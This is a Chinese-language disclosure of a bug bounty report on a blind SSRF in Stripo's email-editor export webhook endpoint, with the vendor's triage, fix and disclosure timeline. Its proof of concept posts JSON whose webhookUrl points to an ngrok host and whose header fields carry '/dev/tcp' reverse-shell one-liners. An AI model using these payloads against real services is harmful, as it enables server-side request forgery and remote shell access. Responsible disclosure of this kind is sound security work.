Stripo应用导出功能中的Blind SSRF漏洞剖析

本文详细披露了在Stripo邮件编辑器导出服务中发现的一个严重盲服务器端请求伪造漏洞,包括漏洞原理、具体的利用PoC、请求载荷详情以及可能造成的敏感数据泄露等影响。

Stripo Inc | 报告 #2932960 - [my.stripo.email] Stripo应用导出功能中的盲SSRF漏洞

时间线 ID已验证

odaysec 向 Stripo Inc 提交了一份报告。 2025年1月13日,12:09 UTC

引言 漏洞概述

本报告涵盖在Stripo导出服务中发现的一个关键的盲服务器端请求伪造漏洞。SSRF漏洞允许攻击者操纵服务器向内部或外部系统发出任意请求,可能导致严重的安全漏洞。该漏洞存在于端点 /exportservice/v3/exports/WEBHOOK/accounts。通过在 webhookUrl 参数中提供恶意输入,攻击者可以触发SSRF,使服务器能够向攻击者控制的系统发出未经授权的HTTP请求。

利用详情

概念验证

以下curl命令演示了漏洞利用过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \
--data '{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}'

生成的HTTP请求

处理时,应用程序会向指定的 webhookUrl 生成以下HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /webhook/sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.3%2F9001%200%3E%261/ HTTP/1.1
Host: 5290-101-255-157-9.ngrok-free.app
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)
Content-Length: 104
Accept: application/json
Accept-Encoding: gzip,deflate
Traceparent: 00-58ae5f178436f516dfed5bcabe66e0a4-6f1c4d73cae918b9-00
X-Forwarded-For: 54.247.167.106
X-Forwarded-Host: 5290-101-255-157-9.ngrok-free.app
X-Forwarded-Proto: https

通过Burp Suite发起的HTTP请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412 HTTP/1.1
Host: my.stripo.email
Content-Type: application/json
Content-Length: 457

{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}

载荷

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{
 "id": 52027412,
 "name": "sh -i & devtcp192.168.100.3 0&1",
 "oAuthRequired": false,
 "authLink": null,
 "draft": false,
 "destination": "WEBHOOK",
 "properties": {
 "headers": [
 {
 "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
 "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
 }
 ],
 "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookType": "CUSTOM"
 },
 "public": false
}

附件: StripoPOC.mkv (F3939737)

影响

数据泄露: 攻击者可以利用SSRF访问敏感的内部网络数据,例如云元数据、内部API端点或其他受限服务。端口扫描。

内部资源访问: 盲SSRF允许访问内部服务或端点,绕过网络限制。

链式攻击: 可能导致更高级别的利用,例如检索敏感元数据或执行远程命令。

nikandrov_nikolai (Stripo Inc 员工) 将状态更改为 已处理2025年1月21日,10:56am UTC

你好 @offensiveops, 非常感谢这份报告和你的贡献。我已为团队创建任务,将尽快解决此问题。 此致, Stripo 开发团队

odaysec 发表了一条评论。2025年4月23日,7:10am UTC

嗨!早上好 @nikandrov_nikolai 我今天在端点 /bapi/exportservice/v3/exports/webhook/accounts/{uid} 上重新审查了漏洞利用步骤,发现该问题已被修复。我们能否将此报告标记为已解决? 此致, Zeroday Sec 团队

nikandrov_nikolai (Stripo Inc 员工) 关闭了报告并将状态更改为 已解决2025年4月23日,9:36am UTC

odaysec 请求披露此报告。2025年4月23日,10:05am UTC

nikandrov_nikolai (Stripo Inc 员工) 同意披露此报告。一天前

此报告已被披露。 一天前

报告于 2025年1月13日,12:09am UTC 报告者 odaysec 报告至 Stripo Inc 参与者 报告 ID #2932960 状态 已解决 严重性 严重 (9 ~ 10) 披露日期 2025年12月1日,8:22am UTC 弱点 服务器端请求伪造 CVE ID赏金 隐藏 账户详情

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计